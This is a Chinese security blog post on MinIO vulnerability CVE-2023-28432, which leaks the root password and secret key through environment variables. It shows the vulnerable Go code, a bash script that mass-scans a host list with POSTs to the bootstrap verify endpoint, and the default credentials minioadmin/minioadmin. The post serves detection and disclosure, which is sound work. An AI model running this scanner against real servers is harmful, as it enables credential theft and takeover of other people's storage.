吸取上次復(fù)現(xiàn)漏洞的教訓(xùn)……
概述
MinIO 是一種開源對(duì)象存儲(chǔ)服務(wù),與 Amazon S3 API 兼容,可用于私有云或公共云。MinIO是一種高性能、高可用的分布式存儲(chǔ)系統(tǒng),可以存儲(chǔ)大量數(shù)據(jù),并提供高速的數(shù)據(jù)讀寫能力。MinIO采用分布式架構(gòu),可以在多個(gè)節(jié)點(diǎn)上運(yùn)行,實(shí)現(xiàn)數(shù)據(jù)的分布式存儲(chǔ)和處理。
在集群部署的Minio中,未授權(quán)的攻擊者可發(fā)送惡意的HTTP請(qǐng)求來獲取Minio環(huán)境變量中的敏感信息(MINIO_SECRET_KEY和MINIO_ROOT_PASSWORD),可能導(dǎo)致攻擊者以管理員權(quán)限登錄Minio。
影響范圍
漏洞利用的前提是使用分布式部署
RELEASE.2019-12-17T23-16-33Z <= MinIO < RELEASE.2023-03-20T20-16-18Z
相關(guān)漏洞代碼
// minio/cmd/bootstrap-peer-server.go
func (b *bootstrapRESTServer) VerifyHandler(w http.ResponseWriter, r *http.Request) {
ctx := newContext(r, w, "VerifyHandler")
cfg := getServerSystemCfg()
logger.LogIf(ctx, json.NewEncoder(w).Encode(&cfg))
}
// minio/cmd/bootstrap-peer-server.go
func getServerSystemCfg() ServerSystemConfig {
envs := env.List("MINIO_")
envValues := make(map[string]string, len(envs))
for _, envK := range envs {
// skip certain environment variables as part
// of the whitelist and could be configured
// differently on each nodes, update skipEnvs()
// map if there are such environment values
if _, ok := skipEnvs[envK]; ok {
continue
}
envValues[envK] = env.Get(envK, "")
}
return ServerSystemConfig{
MinioEndpoints: globalEndpoints,
MinioEnv: envValues,
}
}
VerifyHandler 函數(shù)中調(diào)用了 getServerSystemCfg() 函數(shù),該函數(shù)返回了 ServerSystemConfig 結(jié)構(gòu)體,其中包含了環(huán)境變量 MINIO_ 的鍵值對(duì)。由于環(huán)境變量是全局可見的,因此會(huì)將賬號(hào)打印出來 。為什么環(huán)境變量中會(huì)包含賬號(hào)密碼信息呢?因?yàn)楦鶕?jù)官方的啟動(dòng)說明,在MinIO在啟動(dòng)時(shí)會(huì)從環(huán)境變量中讀取用戶預(yù)設(shè)的管理員賬號(hào)和密碼,如果省略則默認(rèn)賬號(hào)密碼為minioadmin/minioadmin。
POC
批量檢測(cè)POC,bash腳本,注意賦權(quán)
#!/bin/bash
# Author : whgojp
# Enable colors
GREEN='\033[0;32m'
NC='\033[0m'
count=0
while read -r line; do
((count++))
response=$(curl -s -XPOST "$line/minio/bootstrap/v1/verify -k" --connect-timeout 3) #修改一下 這里加了-k 忽略對(duì) SSL 證書驗(yàn)證
if echo "$response" | grep -q "MinioEnv"; then #匹配關(guān)鍵詞
printf "${GREEN}[!] ${line}${NC}:is Vulnerable?。?!\n"
echo "$line" >> result.txt
else
printf "[+] (${count}/$(wc -l < MinIO.txt)) Scanning: ${line}\n"
fi
done < MinIO.txt
當(dāng)然還有其他版本批量檢測(cè)POC
CVE-2023-28432 nuclei templates
https://github.com/MzzdToT/CVE-2023-28432/blob/main/minio.py
檢測(cè)效果;
手動(dòng)檢測(cè):
Burp手動(dòng)測(cè)試的時(shí)候記得改POST發(fā)包
使用Goby紅隊(duì)版可以直接檢測(cè)該漏洞文章來源:http://www.zghlxwxcb.cn/news/detail-419281.html
參考
https://aq.mk/index.php/archives/142.html
https://www.gksec.com/MinIO_RCE.html
https://github.com/minio/minio/security/advisories/GHSA-6xvq-wj2x-3h3q文章來源地址http://www.zghlxwxcb.cn/news/detail-419281.html
到了這里,關(guān)于MinIO信息泄露漏洞(CVE-2023-28432)批量檢測(cè)POC的文章就介紹完了。如果您還想了解更多內(nèi)容,請(qǐng)?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!